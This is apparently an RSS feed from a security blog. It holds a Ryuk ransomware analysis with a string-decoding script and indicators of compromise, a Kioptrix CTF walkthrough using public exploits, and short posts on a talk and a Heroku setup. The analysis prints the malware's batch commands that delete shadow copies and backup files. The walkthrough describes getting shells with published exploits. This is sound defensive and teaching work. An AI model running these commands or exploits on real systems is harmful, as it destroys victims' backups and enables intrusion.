&lt;p&gt;The key embedded in the sample Base64 encoded is:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;nWvywVbBvz4AYDfaAouzpqlRr9aOb+wCl5MYJPQzMGNhAE+CDfDm4DPIUp0Ud8m/xty5d7N2jiqJbFC04jZf0Kat3AaJXnMeZfXPAQzJKXtMQfnLL /ZQOX4KeDFJ+zfnflDEcKYuQARXxMbJVWBXu7vagRd+8TBJ /6L5FsFWwA9KRr5blLkgRHdfqkLhGaWOqTSUF9btcWdyOg2We5g5ByoxPKtoqO9NjOb/witnj+TpGHeahzwpHzxAsOEisWYneR3RkhSvNh/Qs8OiVwiHFFeBdRJRkEC6UtlTj7obLi55Y7mztJwMI4TbdnMReGiMRlGHuHN9aKKhQssMFKpA==
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The next function decodes the ransom note. These values are all encoded using XOR with static keys. There are two different keys used one for the email address and a Bitcoin address. A second key used for the main ransom note. The email addresses and Bitcoin address contained in this sample are:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Memory Location&lt;/th&gt;
&lt;th&gt;Decoded Data&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0x140029b20&lt;/td&gt;
&lt;td&gt;&lt;a href=&#34;mailto:WayneEvenson@protonmail.com&#34;&gt;WayneEvenson@protonmail.com&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x140029980&lt;/td&gt;
&lt;td&gt;&lt;a href=&#34;mailto:WayneEvenson@tutanota.com&#34;&gt;WayneEvenson@tutanota.com&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x1400249e8&lt;/td&gt;
&lt;td&gt;14hVKm7Ft2rxDBFTNkkRC3kGstMGp2A4hk&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;My assumption is they made the email address and bitcoin address separate from the rest of the note so they can be swapped out easily, keeping the bulk of the text the same. Next, the function decodes the main part of the ransom note. The below python code decodes both the email and Bitcoin strings along with the ransom note itself.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;ARRAY_140029b20 = [ ** email 1 in hex ** ]
ARRAY_140029980 = [ ** email 2 in hex **  ]
ARRAY_1400249e8 = [ ** btc addr in hex **  ] 

# 140029500 - 140029798
DAT_RyukReadMe_txt_Buffer = [ **ransom note in hex** ]

# 14001f990
Decode_key_1 = [ **snip key in hex** ]

# 14001f9f0
Decode_key_2 = [ **snip key in hex** ]

s_BTC_wallet_140029868 = &amp;#34;BTC wallet:&amp;#34;
s_No_system_is_safe_140029b40 = &amp;#34;No system is safe&amp;#34;
s_Ryuk_140028e18 = &amp;#34;Ryuk\n &amp;#34;

for i in range(0, 27):
    if (i &amp;amp; 1 == 0 ):
        key = DAT_RyukReadMe_txt_Buffer[i]
    else:
        key = Decode_key_1[i]
    print (chr(ARRAY_140029b20[i] ^ key), end = &amp;#34;&amp;#34;)
print (&amp;#34;&amp;#34;)

for i in range(0, 0x19):
    if (i &amp;amp; 1 == 0 ):
        key = DAT_RyukReadMe_txt_Buffer[i]
    else:
       key = Decode_key_1[i]
    print (chr(ARRAY_140029980[i] ^ key), end = &amp;#34;&amp;#34;)
print (&amp;#34;&amp;#34;)

for i in range(0, 0x22):
    if (i &amp;amp; 1 == 0 ):
        key = DAT_RyukReadMe_txt_Buffer[i]
    else:
        key = Decode_key_1[i]
    print (chr(ARRAY_1400249e8[i] ^ key), end = &amp;#34;&amp;#34;)
print (&amp;#34;&amp;#34;)
print (&amp;#34;&amp;#34;)
print (&amp;#34;&amp;#34;)
for i in range(0, len(DAT_RyukReadMe_txt_Buffer)):
    print (chr(DAT_RyukReadMe_txt_Buffer[i] ^ Decode_key_2[i]), end=&amp;#34;&amp;#34;)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;After everything is decoded all the text is put together to create the following ransom note that is written to directories where files are encrypted.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i2.wp.com/ben.the-collective.net/wp-content/uploads/2020/03/ryuk-RyukReadmetxt-note-1.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
Once the ransom note is decrypted RansomMain function gathers a list of all of the file systems on the system. The file system list is collected using the GetLogicalDrives function and checking the file system type using GetDriveTypeW. Then a called function starts to walk through the file system and encrypting the contents of directories.&lt;/p&gt;
&lt;p&gt;As the function loops through the file system, it skips over directories named “Windows” , “AhnLabs”, “Chrome”, “Mozilla,” “$Recycle.Bin,” and “WINDOWS.” Once the list of files in a directory has collected, it will write a copy of the ransom note to a file named RyukReadMe.txt then start a Thread to encrypt each file in the directory. The encryption uses the AES 256 algorithm via the Microsoft AES Cryptographic Provider. It will continue this process until the local file systems are encrypted.&lt;/p&gt;
&lt;p&gt;Next, it enumerates a list of network shares then follows the same process to encrypt those shares. The list of network shares enumerated using the WNetOpenEnum and WNetEnumResourceW function calls. After the list of shares is generated the network shares are encrypted using the same functions that were used to encrypt local file systems and write the ransom note.&lt;/p&gt;
&lt;p&gt;Once the encryption loops are completed, the final call deletes the system shadow copy by creating a file named windows.bat and placing the below command in it and executing it.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;&amp;#34;vssadmin Delete Shadows /all /quiet\r\nvssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB\r\nvssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded\r\nvssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB\r\nvssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded\r\nvssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB\r\nvssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded\r\nvssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB\r\nvssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded\r\nvssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB\r\nvssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded\r\nvssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB\r\nvssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded\r\nvssadmin Delete Shadows /all /quiet\r\ndel /s /f /q c:\&amp;lt;em&amp;gt;.VHD c:\&amp;lt;/em&amp;gt;.bac c:\&amp;lt;em&amp;gt;.bak c:\&amp;lt;/em&amp;gt;.wbcat c:\&amp;lt;em&amp;gt;.bkf c:\Backup&amp;lt;/em&amp;gt;.* c:\backup&amp;lt;em&amp;gt;.&amp;lt;/em&amp;gt; c:\&amp;lt;em&amp;gt;.set c:\&amp;lt;/em&amp;gt;.win c:\&amp;lt;em&amp;gt;.dsk\r\ndel /s /f /q d:\&amp;lt;/em&amp;gt;.VHD d:\&amp;lt;em&amp;gt;.bac d:\&amp;lt;/em&amp;gt;.bak d:\&amp;lt;em&amp;gt;.wbcat d:\&amp;lt;/em&amp;gt;.bkf d:\Backup&amp;lt;em&amp;gt;.&amp;lt;/em&amp;gt; d:\backup&amp;lt;em&amp;gt;.&amp;lt;/em&amp;gt; d:\&amp;lt;em&amp;gt;.set d:\&amp;lt;/em&amp;gt;.win d:\&amp;lt;em&amp;gt;.dsk\r\ndel /s /f /q e:\&amp;lt;/em&amp;gt;.VHD e:\&amp;lt;em&amp;gt;.bac e:\&amp;lt;/em&amp;gt;.bak e:\&amp;lt;em&amp;gt;.wbcat e:\&amp;lt;/em&amp;gt;.bkf e:\Backup&amp;lt;em&amp;gt;.&amp;lt;/em&amp;gt; e:\backup&amp;lt;em&amp;gt;.&amp;lt;/em&amp;gt; e:\&amp;lt;em&amp;gt;.set e:\&amp;lt;/em&amp;gt;.win e:\&amp;lt;em&amp;gt;.dsk\r\ndel /s /f /q f:\&amp;lt;/em&amp;gt;.VHD f:\&amp;lt;em&amp;gt;.bac f:\&amp;lt;/em&amp;gt;.bak f:\&amp;lt;em&amp;gt;.wbcat f:\&amp;lt;/em&amp;gt;.bkf f:\Backup&amp;lt;em&amp;gt;.&amp;lt;/em&amp;gt; f:\backup&amp;lt;em&amp;gt;.&amp;lt;/em&amp;gt; f:\&amp;lt;em&amp;gt;.set f:\&amp;lt;/em&amp;gt;.win f:\&amp;lt;em&amp;gt;.dsk\r\ndel /s /f /q g:\&amp;lt;/em&amp;gt;.VHD g:\&amp;lt;em&amp;gt;.bac g:\&amp;lt;/em&amp;gt;.bak g:\&amp;lt;em&amp;gt;.wbcat g:\&amp;lt;/em&amp;gt;.bkf g:\Backup&amp;lt;em&amp;gt;.&amp;lt;/em&amp;gt; g:\backup&amp;lt;em&amp;gt;.&amp;lt;/em&amp;gt; g:\&amp;lt;em&amp;gt;.set g:\&amp;lt;/em&amp;gt;.win g:\&amp;lt;em&amp;gt;.dsk\r\ndel /s /f /q h:\&amp;lt;/em&amp;gt;.VHD h:\&amp;lt;em&amp;gt;.bac h:\&amp;lt;/em&amp;gt;.bak h:\&amp;lt;em&amp;gt;.wbcat h:\&amp;lt;/em&amp;gt;.bkf h:\Backup&amp;lt;em&amp;gt;.&amp;lt;/em&amp;gt; h:\backup&amp;lt;em&amp;gt;.&amp;lt;/em&amp;gt; h:\&amp;lt;em&amp;gt;.set h:\&amp;lt;/em&amp;gt;.win h:\*.dsk\r\ndel %0&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;After the shadow copy is removed the processes exits and Ryuk has done it’s job encrypting all of the data it can find.&lt;/p&gt;
&lt;h2 id=&#34;wrap-up&#34;&gt;Wrap up&lt;/h2&gt;
&lt;p&gt;To summarize and restate what we just covered, Ryuk has two major stages. The first determines if the OS is 64bit or 32 bit then extracts the appropriate second stage that decodes internal function and other strings it will use. Next, it loops through the local file systems encrypting the majority of files, then it moves on to network shares encrypting the contents of those shares. Finally, before the process ends, it deletes the Volume Shadow Copy.&lt;/p&gt;
&lt;p&gt;Ryuk is quite destructive using Windows built-in encryption APIs and a public key to encrypt the files. This is much tougher to break than other malware that uses roll your own encryption techniques. I am not the first nor the last to analyze this piece of malware, but it has been a fun challenge to walk through it and reverse engineer Ryuk’s functionality in detail. To close out this post, I will list out some of the indicators of compromise (IOC) that I found in my analysis.&lt;/p&gt;
&lt;h2 id=&#34;ioc&#34;&gt;IOC&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;1st Stage Binary&lt;/em&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;File Size: 393216  
MD5: 5ac0f050f93f86e69026faea1fbb4450  
SHA-1: 9709774fde9ec740ad6fed8ed79903296ca9d571
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;2nd Stage Binaries&lt;/em&gt;&lt;br /&gt;
&lt;strong&gt;64 bit PE+&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;File Size: 174592  
MD5: 31bd0f224e7e74eee2847f43aae23974  
SHA-1: 92e331e1e8ad30538f38dd7ba31386afafa14a58 bin0.bin
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;32bit PE&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;File Size: 143440  
MD5: 6391b5b9a29d3fd73dab4c9a8a5fc348  
SHA-1: 057aa7a708e0011abc1d4b990999f072a77d1057 bin1.bin
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Registry Key&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Location: \\HKEY\_CURRENT\_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\  
Name: “svchos”  
Type: REG\_SZ  
Value: \[Second Stage File name and location\]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Other Files ([] is a random 5 character string)&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;RyukReadMe.txt   
\\users\\Public\\\[\].exe   
\\Documents and Settings\\Default User\\\[\].exe  
\\Documents and Settings\\Default User\\sys   
\\users\\Public\\sys   
\\users\\Public\\finish   
\\Documents and Settings\\Default User\\finish   
\\Users\\Public\\window.bat
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Decoded Strings&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;WayneEvenson@protonmail.com  
WayneEvenson@tutanota.com  
BTC Address: 14hVKm7Ft2rxDBFTNkkRC3kGstMGp2A4hk
&lt;/code&gt;&lt;/pre&gt;</content:encoded>
        <dc:creator>suidroot</dc:creator>
        <media:content url="https://ben.the-collective.net/images/post-images/Ryuk-Malware-Analysis-and-Reverse-Engineering.png" medium="image"><media:title type="html">featured image</media:title></media:content>
        
        
        
          
            
              <category>malware</category>
            
          
            
              <category>reverse engineering</category>
            
          
            
              <category>security</category>
            
          
            
              <category>windows</category>
            
          
        
        
          
            
              <category>Malware</category>
            
          
            
              <category>Reverse Engineering</category>
            
          
            
              <category>Security</category>
            
          
        
        
      </item>
      
      <item>
        <title>CTF Box: Kioptrix level 1 walk-through</title>
        <link>https://ben.the-collective.net/posts/2020-02-26-ctf-box-kioptrix-level-1-walk-through/</link>
        <pubDate>Wed, 26 Feb 2020 09:00:00 -0500</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Wed, 26 Feb 2020 09:00:00 -0500</atom:modified>
        <guid>https://ben.the-collective.net/posts/2020-02-26-ctf-box-kioptrix-level-1-walk-through/</guid>
        <description>This is a walk-through of the first level of the CTF box series named Kioptrix. The virtual machines images can be downloaded from:
https://www.vulnhub.com/entry/kioptrix-level-1-1,22/
There are two methods I used to exploit this machine, but first, let’s enumerate the server.
Enumeration To start, I ran a Nmap scan on the server to see what services are running on it.
# Nmap 7.70 scan initiated Sat Apr 13 14:05:06 2019 as: nmap -O -A -sV -sC -oA nmap/knoptrix1 192.</description>
        <content:encoded>&lt;p&gt;This is a walk-through of the first level of the CTF box series named Kioptrix. The virtual machines images can be downloaded from:&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://www.vulnhub.com/entry/kioptrix-level-1-1,22/&#34;&gt;https://www.vulnhub.com/entry/kioptrix-level-1-1,22/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;There are two methods I used to exploit this machine, but first, let’s enumerate the server.&lt;/p&gt;
&lt;h2 id=&#34;enumeration&#34;&gt;Enumeration&lt;/h2&gt;
&lt;p&gt;To start, I ran a Nmap scan on the server to see what services are running on it.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt; # Nmap 7.70 scan initiated Sat Apr 13 14:05:06 2019 as: nmap -O -A -sV -sC -oA nmap/knoptrix1 192.168.56.5
Nmap scan report for 192.168.56.5
Host is up (0.00040s latency).
Not shown: 994 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99)
| ssh-hostkey: 
| 1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)
| 1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)
|_ 1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)
|_sshv1: Server supports SSHv1
80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
| http-methods: 
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: Test Page for the Apache Web Server on Red Hat Linux
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo: 
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100024 1 1024/tcp status
|_ 100024 1 1024/udp status
139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp open ssl/https Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: 400 Bad Request
|_ssl-date: 2019-04-13T22:05:23+00:00; +3h59m59s from scanner time.
| sslv2: 
| SSLv2 supported
| ciphers: 
| SSL2_RC2_128_CBC_WITH_MD5
| SSL2_RC4_128_EXPORT40_WITH_MD5
| SSL2_DES_192_EDE3_CBC_WITH_MD5
| SSL2_RC4_64_WITH_MD5
| SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
| SSL2_DES_64_CBC_WITH_MD5
|_ SSL2_RC4_128_WITH_MD5
1024/tcp open status 1 (RPC #100024)
MAC Address: 08:00:27:1E:E3:F7 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux:linux_kernel:2.4
OS details: Linux 2.4.9 - 2.4.18 (likely embedded)
Network Distance: 1 hop
Host script results:
|_clock-skew: mean: 3h59m58s, deviation: 0s, median: 3h59m58s
|_nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: &amp;lt;unknown&amp;gt;, NetBIOS MAC: &amp;lt;unknown&amp;gt; (unknown)
|_smb2-time: Protocol negotiation failed (SMB2)
TRACEROUTE
HOP RTT ADDRESS
1 0.40 ms 192.168.56.5
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Apr 13 14:09:34 2019 -- 1 IP address (1 host up) scanned in 267.98 seconds
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In the output above you will see there are two interesting services Apache HTTPD 1.3.20 with mod_ssl/2.8.4 OpenSSL/0.9.6b and Samba. The version of HTTPD version is quite old and will be of interest. Next, I’ll take a look at Samba using enum4linux.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sat Apr 13 14:11:01 2019
 ========================== 
| Target Information |
 ========================== 
Target ........... 192.168.56.5
RID Range ........ 500-550,1000-1050
Username ......... &amp;#39;&amp;#39;
Password ......... &amp;#39;&amp;#39;
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
 ==================================================== 
| Enumerating Workgroup/Domain on 192.168.56.5 |
 ==================================================== 
[+] Got domain/workgroup name: MYGROUP
 ============================================ 
| Nbtstat Information for 192.168.56.5 |
 ============================================ 
Looking up status of 192.168.56.5
 KIOPTRIX &amp;lt;00&amp;gt; - B &amp;lt;ACTIVE&amp;gt; Workstation Service
 KIOPTRIX &amp;lt;03&amp;gt; - B &amp;lt;ACTIVE&amp;gt; Messenger Service
 KIOPTRIX &amp;lt;20&amp;gt; - B &amp;lt;ACTIVE&amp;gt; File Server Service
 ..__MSBROWSE__. &amp;lt;01&amp;gt; - &amp;lt;GROUP&amp;gt; B &amp;lt;ACTIVE&amp;gt; Master Browser
 MYGROUP &amp;lt;00&amp;gt; - &amp;lt;GROUP&amp;gt; B &amp;lt;ACTIVE&amp;gt; Domain/Workgroup Name
 MYGROUP &amp;lt;1d&amp;gt; - B &amp;lt;ACTIVE&amp;gt; Master Browser
 MYGROUP &amp;lt;1e&amp;gt; - &amp;lt;GROUP&amp;gt; B &amp;lt;ACTIVE&amp;gt; Browser Service Elections
 MAC Address = 00-00-00-00-00-00
 ===================================== 
| Session Check on 192.168.56.5 |
 ===================================== 
[+] Server 192.168.56.5 allows sessions using username &amp;#39;&amp;#39;, password &amp;#39;&amp;#39;
 =========================================== 
| Getting domain SID for 192.168.56.5 |
 =========================================== 
Domain Name: MYGROUP
Domain Sid: (NULL SID)
[+] Can&amp;#39;t determine if host is part of domain or part of a workgroup
 ====================================== 
| OS information on 192.168.56.5 |
 ====================================== 
[+] Got OS info for 192.168.56.5 from smbclient: 
[+] Got OS info for 192.168.56.5 from srvinfo:
 KIOPTRIX Wk Sv PrQ Unx NT SNT Samba Server
 platform_id : 500
 os version : 4.5
 server type : 0x9a03
 ============================= 
| Users on 192.168.56.5 |
 ============================= 
 ========================================= 
| Share Enumeration on 192.168.56.5 |
 ========================================= 
 Sharename Type Comment
 --------- ---- -------
 IPC$ IPC IPC Service (Samba Server)
 ADMIN$ IPC IPC Service (Samba Server)
Reconnecting with SMB1 for workgroup listing.
 Server Comment
 --------- -------
 KIOPTRIX Samba Server
 Workgroup Master
 --------- -------
 MYGROUP KIOPTRIX
[+] Attempting to map shares on 192.168.56.5
//192.168.56.5/IPC$ [E] Can&amp;#39;t understand response:
NT_STATUS_NETWORK_ACCESS_DENIED listing \*
//192.168.56.5/ADMIN$ [E] Can&amp;#39;t understand response:
tree connect failed: NT_STATUS_WRONG_PASSWORD
&amp;lt;...SNIP...&amp;gt;
enum4linux complete on Sat Apr 13 14:11:09 2019
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;There is a lot of useful information in this output; however this a bug in the version of enum4linux that does not show the version of Samba running on the server. This missing information becomes important in the second method for getting into the server. Now let us take a look at the first method I used to get on to the server.&lt;/p&gt;
&lt;h2 id=&#34;method-1&#34;&gt;Method 1&lt;/h2&gt;
&lt;p&gt;The first method of getting a shell on the server exploits the mod_ssl module in Apache HTTPd. I found in the enumeration phase that the server is running Apache HTTPD 1.3.20 with mod_ssl/2.8.4 OpenSSL/0.9.6b. After a quick search in Exploit-DB, I found that there are two versions of an exploit for &lt;a href=&#34;https://nvd.nist.gov/vuln/detail/CVE-2002-0082&#34;&gt;CVE-2002-0082&lt;/a&gt; named OpenFuck and OpenFuck2. First I used OpenFuck found at &lt;a href=&#34;https://www.exploit-db.com/exploits/21671&#34;&gt;https://www.exploit-db.com/exploits/21671&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;This exploit ran without issue and gave an unprivileged shell as the user apache using, the output of the exploit is below.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2020-02-26-ctf-box-kioptrix-level-1-walk-through-images/kioptrix1-1.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
After running the exploit and getting on the server, I found the reverse shell died regularly. Once I changed the shell syntax to add “nohup” to background the reverse shell process making the shell not die regularly.&lt;/p&gt;
&lt;p&gt;There is a better version of this exploit named OpenFuckv2. This version chains a kernel exploit to get root and can be found at &lt;a href=&#34;https://www.exploit-db.com/exploits/764&#34;&gt;https://www.exploit-db.com/exploits/764&lt;/a&gt;. There are issues building this version of the exploit on Linux distributions that have newer versions of libssl. The following link has instructions on how to modify the code from exploit-db to work on more modern distributions.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://www.hypn.za.net/blog/2017/08/27/compiling-exploit-764-c-in-2017/&#34;&gt;https://www.hypn.za.net/blog/2017/08/27/compiling-exploit-764-c-in-2017/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Now that we have exploited the mod_ssl service to get unprivileged access on the server we can move onto the next method to get into and finally get root on this box.&lt;/p&gt;
&lt;h2 id=&#34;method-2&#34;&gt;Method 2&lt;/h2&gt;
&lt;p&gt;After getting an unprivileged shell on the server using Method 1 I started enumerating the server and found that this is a Red Hat Linux release 7.2 (Enigma) server running Samba 2.2.1a. This version of Samba service has the RCE vulnerability, &lt;a href=&#34;https://nvd.nist.gov/vuln/detail/CVE-2003-0201&#34;&gt;CVE-2003-0201 – Buffer overflow in the call_trans2open function in trans2.c for Samba 2.2.x before 2.2.8a, 2.0.10 and earlier 2.0.x versions.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;This CVE has a published exploit in exploit-db at &lt;a href=&#34;https://www.exploit-db.com/exploits/10&#34;&gt;https://www.exploit-db.com/exploits/10&lt;/a&gt;. The output when running the exploit in brute force mode is shown below,&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2020-02-26-ctf-box-kioptrix-level-1-walk-through-images/kioptrix1-2.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
Since this service is running as root, boom, we have a root shell!&lt;/p&gt;
&lt;p&gt;Overall, This was a pretty straightforward box and would have been easier if I had found the version of Samba earlier.&lt;/p&gt;
</content:encoded>
        <dc:creator>Ben Mason</dc:creator>
        <media:content url="https://ben.the-collective.net/images/post-images/CTF-Box_-Kioptrix-level-1-walkthrough-.png" medium="image"><media:title type="html">featured image</media:title></media:content>
        
        
        
          
            
              <category>ctf</category>
            
          
            
              <category>vulnhub</category>
            
          
            
              <category>linunx</category>
            
          
        
        
          
            
              <category>Security</category>
            
          
        
        
      </item>
      
      <item>
        <title>Presentation: Introduction to (Binary) Reverse Engineering</title>
        <link>https://ben.the-collective.net/posts/2020-01-24-presentation-introduction-to-binary-reverse-engineering/</link>
        <pubDate>Fri, 24 Jan 2020 09:00:00 -0500</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Fri, 24 Jan 2020 09:00:00 -0500</atom:modified>
        <guid>https://ben.the-collective.net/posts/2020-01-24-presentation-introduction-to-binary-reverse-engineering/</guid>
        <description>Below are the slides my presentation at the Maine OWASP chapter meetup on Janurary 23, 2020.
Link to Slides</description>
        <content:encoded>&lt;p&gt;Below are the slides my presentation at the &lt;a href=&#34;https://www.owasp.org/index.php/Portland,_Maine&#34;&gt;Maine OWASP chapter&lt;/a&gt; meetup on Janurary 23, 2020.&lt;/p&gt;
&lt;iframe allowfullscreen=&#34;true&#34; frameborder=&#34;0&#34; height=&#34;327&#34; loading=&#34;lazy&#34; mozallowfullscreen=&#34;true&#34; src=&#34;https://docs.google.com/presentation/d/e/2PACX-1vTDQUkDnVSm4EEp9Ynf6y0Z4DN6acNjXXLSMWn4waeveV1i3yT9xaPXx9a_ZPvxqmGbkVwG65tk_o-T/embed?start=false&amp;loop=false&amp;delayms=30000&#34; webkitallowfullscreen=&#34;true&#34; width=&#34;529&#34;&gt;&lt;/iframe&gt;
&lt;p&gt;&lt;a href=&#34;https://docs.google.com/presentation/d/1hk5TpIH5tuJivpeL3dGiw4AB25Y0_9FG58o-fZ3a5fk/edit?usp=sharing&#34;&gt;Link to Slides&lt;/a&gt;&lt;/p&gt;
</content:encoded>
        <dc:creator>suidroot</dc:creator>
        <media:content url="https://ben.the-collective.net/images/post-images/Presentation_-Introduction-to-Binary-Reverse-Engineering.png" medium="image"><media:title type="html">featured image</media:title></media:content>
        
        
        
          
            
              <category>binary analysis</category>
            
          
            
              <category>owasp</category>
            
          
            
              <category>presentations</category>
            
          
            
              <category>reverse engineering</category>
            
          
        
        
          
            
              <category>Malware</category>
            
          
            
              <category>Presentations</category>
            
          
            
              <category>Reverse Engineering</category>
            
          
            
              <category>Security</category>
            
          
        
        
      </item>
      
      <item>
        <title>Installing slackin on Heroku</title>
        <link>https://ben.the-collective.net/posts/2020-01-08-installing-slackin-on-heroku/</link>
        <pubDate>Wed, 08 Jan 2020 10:00:00 -0500</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Wed, 08 Jan 2020 10:00:00 -0500</atom:modified>
        <guid>https://ben.the-collective.net/posts/2020-01-08-installing-slackin-on-heroku/</guid>
        <description>slackin provides a self-service interface to join a slack team. I found it as a solution when I was setting up the mainesec slack team eliminating the need out unique links to every member that was joining. slackin creates a sign-up form where a user enters an email address and is automatically sent an invite to the slack team.
I have seen the script running in the Heroku cloud before but could not find any good instructions to install or run set it up other than a vague mention for a link to a button to automatically install it that did not exist.</description>
        <content:encoded>&lt;p&gt;&lt;img src=&#34;../2020-01-08-installing-slackin-on-heroku-images/Screen-Shot-2019-10-18-at-22.28.31.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
slackin provides a self-service interface to join a slack team. I found it as a solution when I was setting up the &lt;a href=&#34;http://mainesec.org&#34;&gt;mainesec&lt;/a&gt; slack team eliminating the need out unique links to every member that was joining. slackin creates a sign-up form where a user enters an email address and is automatically sent an invite to the slack team.&lt;/p&gt;
&lt;p&gt;I have seen the script running in the Heroku cloud before but could not find any good instructions to install or run set it up other than a vague mention for a link to a button to automatically install it that did not exist.&lt;/p&gt;
&lt;p&gt;This post covers the steps I went through to set-up a slackin instance in the Heroku cloud. To start off there are a couple of API keys that need to be created or gathered and used during the configuration.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://www.google.com/recaptcha/intro/&#34;&gt;Google reCAPTCHA&lt;/a&gt; (Must select reCaptcha v2 (not v3))&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://api.slack.com/custom-integrations/legacy-&#34;&gt;Legacy Slack Token&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Both of these API keys will be used towards the end of the setup. Next, fork the slackin repo to your Github user, the URL to the slackin repo is:&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://github.com/rauchg/slackin&#34;&gt;https://github.com/rauchg/slackin&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Once the repo is forked to your account you will need to create a &lt;a href=&#34;http://heroku.com&#34;&gt;Heroku&lt;/a&gt; account (if you do not have one already). The free tier was sufficient for me to run the &lt;em&gt;slackin&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2020-01-08-installing-slackin-on-heroku-images/Screen-Shot-2019-10-18-at-22.23.01.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
Once you have logged into Heroku you will want to choose “New” and select “Create new app” in the upper right-hand corner. On the next screen, you will enter the App name, this will be used in the URL Heroku will generate for you.&lt;/p&gt;
